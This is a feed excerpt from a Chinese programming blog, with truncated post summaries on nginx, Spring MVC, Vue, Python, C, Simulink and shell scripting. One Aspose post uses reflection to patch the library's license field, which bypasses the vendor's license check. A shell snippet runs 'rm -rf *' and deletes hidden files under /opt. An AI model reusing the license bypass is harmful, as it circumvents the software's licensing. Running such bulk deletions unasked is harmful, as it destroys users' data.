      <guid>https://bchobby.github.io/posts/5d3067de50a82bc686b9cb5a05f3b015/</guid>
      <description>介绍&#xA;这里是小编成长之路的历程，也是小编的学习之路。希望和各位大佬们一起成长！&#xA;以下为小编最喜欢的两句话：&#xA;要有最朴素的生活和最遥远的梦想，即使明天天寒地冻，山高水远，路远马亡。&#xA;一个人为什么要努力？ 我见过最好的答案就是：因为我喜欢的东西都很贵，我想去的地方都很远，我爱的人超完美。因此，小编想说：共勉！&#xA;本篇文章是小编记录Linux的系统学习&#xA;目录&#xA;一、负载均衡&#xA;1、什么是负载均衡？&#xA;2、常见的nginx负载均衡的方式有哪些？&#xA;二、负载均衡的实现&#xA;1、需求&#xA;2、步骤&#xA;1、配置多台tomcat应用服务器（小编是在window下一台，linux下一台）&#xA;2、在ngnix中增加配置/etc/nginx/sites-available/default（还可在nginx的根目录下的nginx.conf中配置）也可以配置两个及以上的服务如下代码:&#xA;3、nginx负载均衡的参数:&#xA;4、让配置生效，更新配置&#xA;5、访问服务&#xA;一、负载均衡 1、什么是负载均衡？ 负载均衡建立在现有网络结构之上，它提供了一种廉价有效透明的方法扩展网络设备和服务器的带宽、增加吞吐量、加强网络数据处理能力、提高网络的灵活性和可用性。&#xA;负载均衡，英文名称为Load Balance，其意思就是分摊到多个操作单元上进行执行，例如Web服务器、FTP服务器、企业关键应用服务器和其它关键任务服务器等，从而共同完成工作任务。&#xA;2、常见的nginx负载均衡的方式有哪些？ Nginx提供了多种负载均衡方式，以下是常见的几种方式：&#xA;1. 轮询（round-robin）：默认的负载均衡策略，即将请求依次分配到不同的后端服务器上。当请求分配到最后一个后端服务器时，统计数据清零，重新从第一个后端服务器开始分配。&#xA;2. IP哈希（ip_hash）：根据客户端的IP地址进行哈希计算，将同一客户端的请求分配到同一后端服务器上。这种方式可以保证同一客户端的所有请求都会被分配到同一后端服务器上，可以解决某些应用场景下的问题。&#xA;3. 最少连接（least_conn）：将请求发送到当前连接数最少的后端服务器上。这种方式可以让负载均衡算法选择处理请求最快的服务器，提高系统响应速度。&#xA;4. 加权轮询（weight）：根据服务器的权重进行请求分配，权重越高的服务器能够处理更多的请求。这种方式可以根据服务器的处理能力分配请求，提高整个系统的性能。&#xA;5. 加权最少连接（least_conn + weight）：将最少连接方式与加权方式结合使用，基于连接数和服务器权重进行请求的分配，能够选择最快的和处理能力最强的服务器。&#xA;当然，Nginx负载均衡还可以设置一些高级选项，如：健康检查、慢启动、最大失败数等。这些高级选项可以保证负载均衡的稳定性和可靠性，提高应用系统的可用性。&#xA;总之，Nginx提供了多种负载均衡方式，包括轮询、IP哈希、最少连接、加权轮询和加权最少连接等。根据不同的应用场景和要求，选择合适的负载均衡方式和参数组合，可以实现灵活、高效、稳定的负载均衡。&#xA;二、负载均衡的实现 1、需求 nginx作为负载均衡服务器，用户请求先到达nginx，再由nginx根据负载配置将请求转发至tomcat服务器。&#xA;eg：&#xA;nginx负载均衡服务器：IP地址1:80&#xA;tomcat1服务器：http://ip地址2:80&#xA;tomcat2服务器：http://IP地址1:8080&#xA;2、步骤 1、配置多台tomcat应用服务器（小编是在window下一台，linux下一台） 2、在ngnix中增加配置/etc/nginx/sites-available/default（还可在nginx的根目录下的nginx.conf中配置）&#xA;也可以配置两个及以上的服务如下代码: 下面的代码只是一个示例，具体可以根据自己的情况去配置&#xA;upstream tomcatserver1 { # 第一台服务器 upstream tomcatserver1 { server 192.168.0.126:8080; server 192.168.0.126:8082; } # 第二台服务器 upstream tomcatserver2{ server 192.</description>
    </item>
    <item>
      <title>do-while(0)语句到底有什么用？</title>
      <link>https://bchobby.github.io/posts/4f324d2d3a966be8995728daad958ef5/</link>
      <pubDate>Tue, 27 Jun 2023 18:15:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4f324d2d3a966be8995728daad958ef5/</guid>
      <description>前言 在一个群里面看到一个人问，do-while(0)语句有什么用？do-while(0)这个程序最终结果不应该就是程序只跑一次，那么写和不写有什么区别呢？&#xA;do-while(0)在复杂宏定义上的优点 为什么需要复杂宏 （1）在讲解do-while(0)在复杂宏定义上的优点前，我先介绍一下复杂宏的好处。&#xA;（2）当我们看到一个宏定义非常复杂的时候，我们很自然而然的会想到，为啥不让他变成一个函数呢？在宏定义里面搞到这么花里胡哨的，不如直接定义一个函数来的方便。&#xA;（3）当我带着这么问题去询问了交流群之后，一个大佬马上给出了回复。&#xA;&amp;lt;1&amp;gt;他说他当年一个项目8位单片机，函数都不敢深入调用，好多都是写的宏函数。因为资源有限。&#xA;&amp;lt;2&amp;gt;大佬介绍到，他哪一款单片机，硬件堆栈，好像就7层，中断预留两层，有些c标准函数用两层堆栈，自己写的就限制在3-4层左右。因为堆栈的有限，怕因为函数的深入调用如果过于频繁或递归层数过深，可能导致栈空间不足，发生堆栈溢出。当栈空间不足以容纳新的栈帧时，程序会崩溃或异常终止。&#xA;&amp;lt;3&amp;gt;所以他们当年都是这样写代码&#xA;优点介绍 （1）当我们在编写业务逻辑的时候，可能可能需要定义一个比较复杂的宏。如下&#xA;#define fun printf(&#34;hello&#34;); printf(&#34;world&#34;) int main() { fun; return 0; } （2）在这个宏的基础上，我们增加一个判断语句，就会发现问题所在。&#xA;/******* c文件 *******/ #define fun printf(&#34;hello&#34;); printf(&#34;world&#34;) int main() { int a=0; if (a == 0) fun; else ... return 0; } /******* 预处理之后 *******/ int main() { int a=0; if (a == 0) printf(&#34;hello&#34;); printf(&#34;world&#34;); else ... return 0; } （3）通过上面的代码，我们明显的发现了。如果是在if语句中，执行这个宏，会发现第二个语句不会包含在if语句中。这样就会导致，因为 if 分支后有两个语句，导致 else 分支没有对应的 if，编译失败。</description>
    </item>
    <item>
      <title>aspose word 转PDF预览 预览word pdf</title>
      <link>https://bchobby.github.io/posts/25488f01b3b13903b0c722089a883fbf/</link>
      <pubDate>Tue, 27 Jun 2023 17:58:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/25488f01b3b13903b0c722089a883fbf/</guid>
      <description>public class PDFUtils { //校验license private static boolean judgeLicense() { boolean result = false; // 21.6 try { Class&amp;lt;?&amp;gt; aClass = Class.forName(&#34;com.aspose.words.zzXyu&#34;); java.lang.reflect.Field zzYAC = aClass.getDeclaredField(&#34;zzZXG&#34;); zzYAC.setAccessible(true); java.lang.reflect.Field modifiersField = zzYAC.getClass().getDeclaredField(&#34;modifiers&#34;); modifiersField.setAccessible(true); modifiersField.setInt(zzYAC,zzYAC.getModifiers() &amp;amp; ~Modifier.FINAL); zzYAC.set(null, new byte[] {76,73,67,69,78,83,69,68}); result = true; } catch (Exception e) { e.printStackTrace(); } return result; } /** 根据byte数组，生成文件 **/ public static void getFile(byte[] bfile, String filePath,String fileName) { BufferedOutputStream bos = null; FileOutputStream fos = null; File file = null; try { File dir = new File(filePath); if (!</description>
    </item>
    <item>
      <title>[框架]Spring MVC框架</title>
      <link>https://bchobby.github.io/posts/e20d4f56d62a872075c188dfa596a3a7/</link>
      <pubDate>Tue, 27 Jun 2023 17:37:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e20d4f56d62a872075c188dfa596a3a7/</guid>
      <description>目录&#xA;关于Spring MVC框架&#xA;Spring MVC框架的依赖项&#xA;使用Spring MVC框架接收请求&#xA;关于@RequestMapping注解&#xA;关于RESTful&#xA;关于@RequestParam注解&#xA;@RequestParam注解是添加在方法的参数上的，它的作用主要有： 其它&#xA;关于Spring MVC框架 MVC：Model + View + Controller Spring MVC框架主要解决了接收请求、响应结果及相关问题（例如处理异常等），即主要关注C的问题，在不是前后端分离的项目，还关心V的问题，但是，并不关心M的问题。 Model：模型，数据处理的流程和规则。具体表现为service和mapper的整合。&#xA;Spring MVC框架的依赖项 Spring MVC框架的基础依赖项是：spring-webmvc 在Spring Boot中，使用Spring MVC框架应该添加依赖项：spring-boot-starter-web 使用Spring MVC框架接收请求 应该创建控制器类，并在控制器类上添加@Controller注解，在Spring MVC框架中，只有添加此注解的类才是控制器类！&#xA;默认情况下，在Spring MVC框架中，控制器处理请求的结果（方法的返回值）将被视为“视图组件的名称”，当在处理请求的方法上添加@ResponseBody注解后，返回的结果才会被视为“响应到客户端的数据”，@ResponseBody注解还可以添加在控制器类上，表示此类中所有处理请求的方法的返回结果都是“响应到客户端的数据”，这种做法称之为“响应正文”，或者，也可以将控制器类上的注解改为@RestController，它是@Controller和@ResponseBody的组合注解！&#xA;包括处理异常的“全局异常处理器类”，需要添加的其实是@ControllerAdvice注解，添加此注解的类中的特定方法（例如处理异常的方法）将可以作用于每次处理请求的过程中，但是，默认情况下，仍不是“响应正文”的，所以，当处理异常需要响应正文时，需要在处理异常的方法上添加@ResponseBody注解，或在全局异常处理器的类上添加@ResponseBody注解，或将@ControllerAdvice改为@RestControllerAdvice。&#xA;在控制器类上，可以自定义方法用于处理请求，关于这些方法：&#xA;访问权限：应该是public&#xA;返回值类型：当响应正文时，可自行将需要响应的数据属性封装在自定义类中，使用自定义类作为返回值类型&#xA;当使用自定义类型进行响应正文时，需要：&#xA;需要添加jackson-databind依赖项，在spring-boot-starter-web中已经包含&#xA;需要启用Spring MVC的注解增强，如果使用XML配置（早些年用的多），需要添加&amp;lt;annotation-driven/&amp;gt;，如果使用配置类进行配置，需要在配置类上添加@EnableWebMvc注解，否则，响应时会出现406错误，在Spring Boot项目不需要手动配置&#xA;方法名称：自定义&#xA;参数列表：按需添加，且各参数不区分先后顺序，可以将各请求参数逐一作为参数列表中的参数，也可以将多个请求参数封装到自定义类型中，使用自定义类型作为方法参数列表中的参数，还可以按需添加HttpServletRequest、HttpServletResponse、HttpSession等，在使用其它技术框架后，还可以按需添加其它参数，例如结合@AuthenticationPrincipal注解添加Spring Security的当事人&#xA;抛出异常：理论上，处理请求的方法不应该处理异常，而应该抛出，进而交由全局异常处理器进行处理&#xA;所有处理请求的方法都必须添加@RequestMapping系列（还有GetMapping，PostMapping等）的某个注解，通过这些注解来配置请求路径。&#xA;关于@RequestMapping注解 @RequestMapping注解的主要作用是配置请求路径，通常，在类上应该配置此注解，例如： @RestController @RequestMapping(&#34;/admin&#34;) public class AdminController {} 在方法上，建议使用限制了请求方式的某个基于@RequestMapping的注解，例如：&#xA;@RestController @RequestMapping(&#34;/admin&#34;) public class AdminController { @PostMapping(&#34;/login&#34;) public JsonResult login() { // .</description>
    </item>
    <item>
      <title>通过nginx_lua拦截请求参数准发到不同服务</title>
      <link>https://bchobby.github.io/posts/bd57b837185a709452092903a43765e5/</link>
      <pubDate>Tue, 27 Jun 2023 17:13:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bd57b837185a709452092903a43765e5/</guid>
      <description>一、引言 ​ 在不更改代码情况下，使用nginx拦截请求参数token，通过token长短转发到不同应用。可使用nginx_lua 实现。&#xA;二、处理方案 2.1 前置要求 ​ nginx安装lua模块，也可直接使用OpenResty（通过Lua拓展nginx的web平台）；&#xA;​ 下载地址： http://openresty.org/cn/&#xA;2.2 编写demo.lua脚本 -- 1、token可通过url和请求头传递 -- 2、新程序token是jwt，旧程序token是原生的security oauth2 生成的uuid -- 分別从请求头、url获取token -- 获取body参数 -- 可使用ngx.req.read_body()和 ngx.req.get_post_args() -- 1、从url中获取token，从请求头获取token，替换Bearer local param = &#34;&#34; if(ngx.var.arg_token ~= nil) then param = ngx.var.arg_token elseif(ngx.var.http_Authorization ~= nil) then param= string.gsub(ngx.var.http_Authorization, &#34;Bearer &#34;, &#34;&#34;) end -- 根据token长度 转发 if (param ~= nil and string.len(param) &amp;gt; 40 ) then ngx.log(ngx.ERR,&#34;token--new--send &#34; ..param) return ngx.exec(&#34;/new&#34;, {token= param}) else ngx.</description>
    </item>
    <item>
      <title>闭合导线近似平差及坐标计算</title>
      <link>https://bchobby.github.io/posts/1f65411c129eb7eb02b4a7465be3ee2b/</link>
      <pubDate>Tue, 27 Jun 2023 16:56:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1f65411c129eb7eb02b4a7465be3ee2b/</guid>
      <description>事先声明，本人所写代码用于学习，原代码撰写者@张爱烂（同时也是我的室友）&#xA;以后也会发表一些我抄写的代码，也不是为了给谁看，就当作一种学习的证明吧&#xA;#数据准备 D_list=[]#测站距离 obs_degree_list=[]#观测角的弧度 import math def dms_to_radians(degree): #获取度分秒 degrees_str=degree[0] minutes_str=degree[1] seconds_str=degree[2] #转化为数字 degrees=float(degrees_str) minutes=float(minutes_str) seconds=float(seconds_str) #计算弧度 radians=math.radians(degrees+(minutes/60)+(seconds/3600)) return radians n=8#测站数 user_input=&#34;T&#34;#确定观测角方向，输入T（左角）或F（右角） with open(&#34;C:\\Users\\hp\\Desktop\\example.txt&#34;,&#34;r&#34;) as f: #读取第一行数据 first_line = f.readline().strip() #读取第二行数据 second_line = f.readline().strip() #读取第三行数据以后的数据 for line in f: items_list=[]#储存观测角 v_degree=[]#储存竖直角 #按分割符拆分每一行数据 data=line.strip() data=data.split(&#39;,&#39;) print(data) #读取前三个元素和第四个元素 item1,item2,item3,item4=data[0],data[1],data[2],data[3] items_list.append(item1) items_list.append(item2) items_list.append(item3) obs_degree_list.append(dms_to_radians(items_list)) D_list.append(float(item4)) a12=[] a12=first_line.split(&#39;,&#39;) print(&#34;起始方位角：&#34;,a12) a12=dms_to_radians(a12) J_x_1,J_y_1=second_line.split(&#39;,&#39;) J_x_1,J_y_1=float(J_x_1),float(J_y_1) print(&#34;起始点测站坐标：&#34;,J_x_1,&#34;,&#34;,J_y_1) print(&#34;测站距离：&#34;,D_list) print(&#34;观测角弧度：&#34;,obs_degree_list) b_list=obs_degree_list #计算方位角闭合差 sum_b=sum(b_list) f_b=sum_b-((n-2)*math.pi) print(&#34;\n方位角闭合差为：&#34;,f_b) f_b_limit=(400/3600)*(math.pi/180)*math.sqrt(n) print(&#34;理论限差为：&#34;,f_b_limit) f_b_abs=abs(f_b) if(f_b_abs&amp;lt;f_b_limit): print(&#34;</description>
    </item>
    <item>
      <title>【2023-6-27】vue中实现input禁止粘贴（el-input）</title>
      <link>https://bchobby.github.io/posts/094d02b358f182e9b8a77fe0f0333f11/</link>
      <pubDate>Tue, 27 Jun 2023 15:46:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/094d02b358f182e9b8a77fe0f0333f11/</guid>
      <description>vue中实现input禁止粘贴 部分业务场景下，会出现不允许用户在input输入框中进行粘贴操作的情况，例如：密码输入框，或者一些其他的敏感信息，禁止粘贴。&#xA;实现一 要禁止粘贴操作在 el-input 组件中，可以结合使用 @paste 事件和 preventDefault 方法。&#xA;下面是一个简单的示例：&#xA;&amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;el-input v-model=&#34;inputValue&#34; @paste=&#34;handlePaste&#34;&amp;gt;&amp;lt;/el-input&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { data() { return { inputValue: &#39;&#39; }; }, methods: { handlePaste(event) { event.preventDefault(); // 阻止粘贴操作 // 或者可以执行其他的处理逻辑 } } }; &amp;lt;/script&amp;gt; @paste 监听了 el-input 组件的粘贴事件。在 handlePaste 方法中，使用 event.preventDefault() 阻止了默认的粘贴行为，从而禁止了粘贴操作。您还可以根据需要在 handlePaste 方法中执行其他的自定义处理逻辑。&#xA;实现二 el-input 组件上使用原生的 @paste 事件，并且同时结合 .capture 和 .prevent 修饰符来阻止粘贴操作&#xA;简单示例：&#xA;&amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;el-input v-model=&#34;inputValue&#34; @paste.native.capture.prevent=&#34;handlePaste&#34;&amp;gt;&amp;lt;/el-input&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { data() { return { inputValue: &#39;&#39; }; }, methods: { handlePaste(event) { // 处理粘贴事件 } } }; &amp;lt;/script&amp;gt; 上述示例中，我们在 @paste 事件上使用了 .</description>
    </item>
    <item>
      <title>MATLAB 之 Simulink 操作基础和系统仿真模型的建立</title>
      <link>https://bchobby.github.io/posts/9fa0f7e414dc39c42c3f3a9f2bcf727d/</link>
      <pubDate>Tue, 27 Jun 2023 14:43:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9fa0f7e414dc39c42c3f3a9f2bcf727d/</guid>
      <description>这里写目录标题 一、Simulink 操作基础1. Simulink 的启动与退出1.1 Simulink 的启动1.2 模型文件的打开1.3 Simulink 的退出 2. Simulink 仿真初步2.1 模型元素2.2 仿真步骤2.3 简单实例 二、系统仿真模型的建立1. Simulink 的基本模块2. 模块操作2.1 添加与删除模块2.2 选取模块2.3 复制模块2.4 模块外形的调整2.5 模块名的处理 3. 模块的连接3.1 连接两个模块3.2 模块间连线的调整3.3.连线的分支3.4.标注连线 4. 模块的参数和属性设置4.1 模块的参数设置4.2 模块的属性设置 一、Simulink 操作基础 Simulink 是 MATLAB 的重要组成部分既适用于线性系统，也适用于非线性系统，既适用于连续系统，也适用于离散系统和连续与离散混合系统。既适用于定常系统，也适用于时变系统。 1. Simulink 的启动与退出 1.1 Simulink 的启动 在安装 MATLAB 的过程中。若选中了 Simulink 组件，则在 MATLAB 安装完成后，Simulink 也就安装好了。如果需要，可以直接启动 Simulink，步骤如下。（1） 在 MATLAB 的命令行窗口输入 Simulink 命令，或选择 MATLAB 主窗口 “主页&#34; 选项卡，单击 SIMULINK 命令组中的 Simulink 命令按钮，或选择 MATLAB 主窗口 “主页&#34;</description>
    </item>
    <item>
      <title>【编译原理】计算器实现（C语言）</title>
      <link>https://bchobby.github.io/posts/7c3168518240d2682fd371a0ac09815f/</link>
      <pubDate>Tue, 27 Jun 2023 11:27:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7c3168518240d2682fd371a0ac09815f/</guid>
      <description>【编译原理】计算器实现（C语言） 题目要求简单分析（1）读文件（2）词法分析（3）语法分析(4)后缀表达式求值 总结 这几天编译原理课留了个编写一个简单的计算器，要求能够检查错误并进行计算。其实也就是完成词法分析，语法分析，再完成一个后缀表达式的计算就好了。&#xA;这里找到了一个比较简单的方法，这里记录一下。&#xA;题目要求 简单分析 整个程序其实整体上大致分成四部分去做&#xA;1.读文件存储内容（这里的文本是以字符的形式存储的）&#xA;2.词法分析，把字符拆分成一个个的token&#xA;3.语法分析，对拆分的token进行分析，确定有无错误&#xA;4.后缀表达式求值，在确认格式无误后进行后缀表达式求值并输出&#xA;（1）读文件 readFile()函数完成了读入字符串到str数组中保存起来，方便后续操作，在这里处理了一个结尾是否为“ . “的错误，比较简单没什么好说的。&#xA;下面是具体函数 readFile。&#xA;unsigned long readFile(char *filePath, char str[]) { FILE *fp = fopen(filePath, &#34;r&#34;);//打开文件 if (fp == NULL) { printf(&#34;打开文件出错，请确认文件存在当前目录下！\n&#34;); exit(0); } unsigned long i; i = fread(str, 1, MaxLen, fp); if (i &amp;gt;= MaxLen) { printf(&#34;文件过大！请重新输入一个更小的文件。\n&#34;); exit(1); } if (str[i - 1] != &#39;.&#39;) { printf(&#34;Error, Please end up with \&#34;.\&#34;\n&#34;); is_error = 1; } str[i] = &#39;\0&#39;; fclose(fp); return i; } （2）词法分析 词法分析函数Scaner()这里的词法分析生成token，如果了解过一些编译原理词法分析的内容的话，这里的这个方法其实是有很多简化的，他其实只处理并储存了数字，标识符（变量名、int 、float） 对于其它的标点，运算符等符号其实都没有进行处理，只是将其分割但是没有保存。</description>
    </item>
    <item>
      <title>Python 的字符串处理, 一个朴实无华的四则运算计算器，批量计算小学生四则运算表达式 --2023博客之星候选--城市赛道</title>
      <link>https://bchobby.github.io/posts/04dea24e655ea1f5f4fb37cd68b325c0/</link>
      <pubDate>Tue, 27 Jun 2023 10:45:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04dea24e655ea1f5f4fb37cd68b325c0/</guid>
      <description>Python 的字符串处理, 实现一个朴实无华的四则运算计算器，批量计算小学生四则运算表达式&#xA;方法一：&#xA;# -*- coding: UTF-8 -*- import re def naive_calc(code): # 按行分割代码 lines = code.strip().split(&#39;\n&#39;) # 匹配四则运算表达式的正则表达式 pattern = r&#39;\d+(\.\d+)?\s*[\+\-\*/]\s*\d+(\.\d+)?&#39; # 遍历每行代码，并计算四则运算表达式的值 for line in lines: # 匹配四则运算表达式 match = re.search(pattern, line) if match: # 获取四则运算表达式 expr = match.group() # 计算表达式的值 value = eval(expr) # 将表达式替换为计算结果 line = line.replace(expr, str(value)) # 打印代码 print(line.strip()) def test(): code = &#39;&#39;&#39; 1+2 3+4 5-3 4*3 10/2 &#39;&#39;&#39; naive_calc(code) if __name__ == &#39;__main__&#39;: test() 该代码实现了一个简单的四则运算计算器，可以批量计算小学生四则运算表达式。具体实现过程如下：</description>
    </item>
    <item>
      <title>将后端传递的LIST＜MAP＜?,?＞＞结构在前端转为array数组</title>
      <link>https://bchobby.github.io/posts/f19d796f8b991bfdc27676b54a3fc360/</link>
      <pubDate>Tue, 27 Jun 2023 10:45:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f19d796f8b991bfdc27676b54a3fc360/</guid>
      <description> 前端接收后端传递的数据结构为&#xA;[{total=84, projectName=新增自动消毒点卡机项目}]&#xA;该数据结构并不是json形式，所以需在后端对数据结构处理，处理成标准的json形式&#xA;List&amp;lt;Map&amp;lt;String, Object&amp;gt;&amp;gt; resHeadMap；&#xA;//调用第三方框架进行json处理&#xA;JSON.toJSON(resHeadMap)&#xA;重新接收后的数据结构为&#xA;[{&#34;projectName&#34;:&#34;新增自动消毒点卡机项目&#34;,&#34;total&#34;:84}]&#xA;再次在前端调用js函数就可以直接转化&#xA;JSON.parse(resHeadMap) </description>
    </item>
    <item>
      <title>Python：执行命令行指令</title>
      <link>https://bchobby.github.io/posts/9eefcd7a01696fb0af53abeb3c94bfdd/</link>
      <pubDate>Tue, 27 Jun 2023 10:44:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9eefcd7a01696fb0af53abeb3c94bfdd/</guid>
      <description>文章目录 简介os.systemos.popensubprocess.Popen()参考文献 简介 在python中，调用外部命令行（linux中的shell、或者windows中的cmd）来执行指令，常用的有三种方式：&#xA;os.system(‘pwd’);os.popen()subprocess.Popen() os.system 是os模块中最基础的部分，其他的方法一般是在该方法的基础上衍生来的。&#xA;每一条os.system指令在执行时，都会创建一个子进程在系统上来执行命令，子进程的执行结果是无法影响主进程的；&#xA;上述原理会导致当需要执行多条命令行的时候会得不到想要的结果，比如说：&#xA;import os os.system(&#39;cd /home/xxx/&#39;) os.mkdir(&#39;1.txt&#39;) 执行后会发现txt文件没有创建在/home/xxx/文件夹，而是创建在了本地，因为多条命令是独立的。&#xA;如果为了保证system执行多条命令可以成功，那么多条命令需要在一个os.system中执行，但需要用特殊的分隔符将它们隔开，如：&#xA;import os os.system(&#39;cd /home/xxx/ &amp;amp;&amp;amp; mkdir 1.txt&#39;) os.system(&#39;cd /home/xxx/ ; mkdir 1.txt&#39;) 分号表示，这些命令会顺序执行下去；&#xA;&amp;amp;&amp;amp;表示，顺序执行，遇到执行错误的命令停下；&#xA;||表示，顺序执行，遇到执行成功的命令停止，后面不再执行；&#xA;os.system还有一个缺点，就是它的返回值只有0（成功）,1,2。他对pwd等指令是会打印出执行结果，但是这个结果是内部打印出的，不是以返回值的形式打印出的，我们根本拿不到。比如说：&#xA;import os a=os.system(&#39;pwd&#39;) print(a) 输出：&#xA;/home/ttss 0 如果无法忍受这个问题，那么可以考虑使用os.popen()&#xA;os.popen os.popen()是打开一个管道来执行命令，并将命令的执行结果写入一个文件对象作为返回值。&#xA;调用格式：&#xA;os.popen(command, mode, bufsize) command是待执行命令，后面两个命令可选；&#xA;mode，指示模式权限，r或者w，默认是r；&#xA;bufsize，指明了文件需要的缓冲大小。0表示无缓冲，1表示行缓冲；其他正值表示使用参数大小的缓冲，以字节为单位；负值表示使用系统的默认值。可以使用默认&#xA;import os a=os.popen(&#39;pwd&#39;, &#39;r&#39;).readlines() print a # 输出： # [&#39;/et/ttss\n&#39;] 我们可以对返回的文件对象做继续操作。&#xA;这里需要注意两个地方：&#xA;关闭文件对象；设置阻塞 返回的文件对象是需要关闭的，因此规范的写法是在with语句里使用os.popen&#xA;with os.popen(command, &#39;r&#39;) as p: r = p.</description>
    </item>
    <item>
      <title>chrome浏览器关闭百度热搜——AdBlock插件</title>
      <link>https://bchobby.github.io/posts/874685a4919e0c8e6eef775178d1f1c7/</link>
      <pubDate>Tue, 27 Jun 2023 10:31:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/874685a4919e0c8e6eef775178d1f1c7/</guid>
      <description>1 下载AdBlock插件 AdBlock插件下载地址&#xA;2 解压缩 3 chrome添加扩展插件 1 文件夹打开到crx后缀的扩展文件&#xA;2 chrome右上角选择设置》扩展程序》进入扩展程序界面&#xA;3 右上角打开开发者模式&#xA;4 将刚刚crx扩展文件直接拖拽到扩展程序界面，成功添加&#xA;4 屏蔽百度热搜 方法一： 1 进到有百度热搜的界面&#xA;2 空白处右键》AdBlock——…》隐藏此页面上的内容&#xA;3 根据①处提示，鼠标移动确定百度热搜的位置，为蓝色框选区域，然后点击，成功选择，然后按提示点确定，完成百度热搜的屏蔽&#xA;方法二： 1 进到有百度热搜的界面&#xA;2 鼠标移到百度热搜那里》右键》检查》出现右侧网页布局代码》标蓝处为刚刚百度热搜的位置》鼠标一行行代码上移，边观察左侧百度热搜蓝色区域，直到蓝色区域第一次选中整个百度热搜》找到这行代码对应的class的值 FYB_RD》记下来&#xA;3 浏览器右上角点击扩展图标》点击AdBlock插件的选项》进入选项界面，在自定义一栏中》点击编辑》在编辑框中添加一行过滤规则》www.baidu.com##DIV[class=“FYB_RD”]》保存 （直接复制这行的话需要注意双引号是不是被改成了中文双引号，是的话需要改成英文双引号，不然不生效）&#xA;www.baidu.com##DIV[id=&#34;s-hotsearch-wrapper&#34;][class=&#34;s-isindex-wrap s-hotsearch-wrapper&#34;] www.baidu.com##A[class=&#34;undertips-link c-font-special&#34;][href=&#34;https://www.baidu.com/s?wd=%E9%AB%98%E8%80%83&amp;amp;sa=ire_dl_gh_logo_texingwzl&amp;amp;rsv_dl=GK_PC_2023_index_tips&#34;] www.baidu.com##DIV[class=&#34;FYB_RD&#34;] 注：FYB_RD 就是刚刚上面记下来的class值，##的前面是网站的域名</description>
    </item>
    <item>
      <title>endswith()和(())的区别</title>
      <link>https://bchobby.github.io/posts/54e3617fb794ced26946e2fe3cd8bdd2/</link>
      <pubDate>Tue, 27 Jun 2023 10:25:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/54e3617fb794ced26946e2fe3cd8bdd2/</guid>
      <description> 在Python中，endswith() 函数用于检查字符串是否以指定的后缀结尾。当使用 endswith() 函数时，括号的使用方式会影响参数的类型。&#xA;使用单括号 ()：&#xA;当传递给 endswith() 的参数是一个字符串时，你应该使用单括号。例如：&#xA;filename.endswith(&#39;.jpg&#39;) 使用双括号 (())：&#xA;当传递给 endswith() 的参数是一个元组时，你需要使用双括号。这样可以将多个后缀作为元组的元素传递给函数。例如：&#xA;filename.endswith((&#39;jpg&#39;, &#39;gif&#39;, &#39;png&#39;)) 总结一下：&#xA;如果你想检查一个后缀，使用单括号加上后缀字符串；如果你想同时检查多个后缀，使用双括号来创建一个包含所有后缀的元组。 </description>
    </item>
    <item>
      <title>linux删除常规文件及隐藏文件shell</title>
      <link>https://bchobby.github.io/posts/e06c83eb793c67a375981fa07adc0ae3/</link>
      <pubDate>Tue, 27 Jun 2023 06:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e06c83eb793c67a375981fa07adc0ae3/</guid>
      <description> #!/bin/bash E_WRONG_DIRECTORY=73 clear TargetDirectory=/opt cd $TargetDirectory echo &#34;Deleting stale files in $TargetDirectory.&#34; if [ &#34;$PWD&#34; != &#34;$TargetDirectory&#34; ];then echo &#34;Wrong directory!&#34; echo &#34;In $PWD,rather than $TargetDirectory!&#34; echo &#34;Bailing out!&#34; exit $E_WRONG_DIRECTORY fi rm -rf * rm -rf .[A-Za-z0-9]* echo echo &#34;Done.&#34; echo &#34;Old files deleted in $TargetDirectory.&#34; echo exit 0 </description>
    </item>
    <item>
      <title>变量命名有哪些规则？</title>
      <link>https://bchobby.github.io/posts/6e511b6736823b883e0a7abcdfac0495/</link>
      <pubDate>Mon, 26 Jun 2023 21:43:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e511b6736823b883e0a7abcdfac0495/</guid>
      <description>变量命名是任何编程语言的重要部分，正确的变量命名可以帮助提高代码的可读性和可维护性。以下是一些常见的变量命名规则：&#xA;唯一性：每个变量都应该有一个唯一的名字，以区别于其他变量。语义性：变量名应当能够清晰地反映出其储存的数据类型或用途，例如，username就比u或x要好。一致性：如果你有一种命名变量的约定（例如使用小驼峰命名法），那么你应当在所有地方都一致地遵循这个约定。避免使用语言保留字：语言保留字，比如for、if等，有特殊的含义，不能用作变量名。 针对具体的编程语言，可能会有特殊的变量命名规则。例如：&#xA;在JavaScript，Python，Ruby等语言中，变量名通常用下划线(_)或者驼峰命名法进行连接，例如myVariable或my_variable。在Python中，变量名的开头可以是一个下划线(_)，例如_myVariable，这有特殊的含义，表示这个变量是“私有的”或者“保护的”。在Java，C#等语言中，变量名通常使用驼峰命名法，例如myVariable，并且类的名称首字母通常大写，例如MyClass。 注意，这些只是一般性的规则和指导原则，具体的规则可能会因项目、团队、公司或编程语言的规定而有所不同。总的来说，清晰和一致的命名是最重要的。&#xA;什么是驼峰命名法 峰命名法（Upper Camel Case）。&#xA;小驼峰命名法（lower camel case）：第一个单词以小写字母开始，第二个单词的首字母大写。例如：firstName、lastName。&#xA;大驼峰命名法（Upper Camel 